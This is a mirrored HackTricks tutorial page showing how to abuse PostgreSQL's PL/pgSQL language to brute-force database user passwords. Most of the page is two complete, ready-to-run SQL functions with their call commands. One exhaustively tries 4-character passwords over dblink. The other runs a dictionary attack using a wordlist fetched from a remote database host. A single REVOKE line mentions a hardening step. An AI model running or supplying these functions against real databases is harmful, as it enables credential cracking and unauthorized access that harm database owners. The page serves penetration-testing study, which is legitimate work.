mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 07:01:09 +00:00
109 lines
4.1 KiB
Markdown
109 lines
4.1 KiB
Markdown
# PL/pgSQL Password Bruteforce
|
|
|
|
PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.
|
|
|
|
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
|
|
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+---------
|
|
plpgsql |
|
|
```
|
|
|
|
By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
|
|
|
|
```sql
|
|
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
|
```
|
|
|
|
In that case, our previous query would output different results:
|
|
|
|
```sql
|
|
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
|
lanname | lanacl
|
|
---------+-----------------
|
|
plpgsql | {admin=U/admin}
|
|
```
|
|
|
|
Here how you could perform a 4 chars password bruteforce:
|
|
|
|
```sql
|
|
//Create the brute-force function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
DECLARE
|
|
word TEXT;
|
|
BEGIN
|
|
FOR a IN 65..122 LOOP
|
|
FOR b IN 65..122 LOOP
|
|
FOR c IN 65..122 LOOP
|
|
FOR d IN 65..122 LOOP
|
|
BEGIN
|
|
word := chr(a) || chr(b) || chr(c) || chr(d);
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection
|
|
THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql';
|
|
|
|
//Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
|
|
_Note that even brute-forcing 4 characters may take several minutes._
|
|
|
|
You could also **download a wordlist** and try only those passwords (dictionary attack):
|
|
|
|
```sql
|
|
//Create the function
|
|
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
|
username TEXT, dbname TEXT) RETURNS TEXT AS
|
|
$$
|
|
BEGIN
|
|
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
|
|
user=name
|
|
password=qwerty
|
|
dbname=wordlists',
|
|
'SELECT word FROM wordlist')
|
|
RETURNS (word TEXT)) LOOP
|
|
BEGIN
|
|
PERFORM(SELECT * FROM dblink(' host=' || host ||
|
|
' port=' || port ||
|
|
' dbname=' || dbname ||
|
|
' user=' || username ||
|
|
' password=' || word,
|
|
'SELECT 1')
|
|
RETURNS (i INT));
|
|
RETURN word;
|
|
|
|
EXCEPTION
|
|
WHEN sqlclient_unable_to_establish_sqlconnection THEN
|
|
-- do nothing
|
|
END;
|
|
END LOOP;
|
|
RETURN NULL;
|
|
END;
|
|
$$ LANGUAGE 'plpgsql'
|
|
|
|
//Call the function
|
|
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
|
```
|
|
|
|
**Find**[ **more information about this attack in this paper**](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.**
|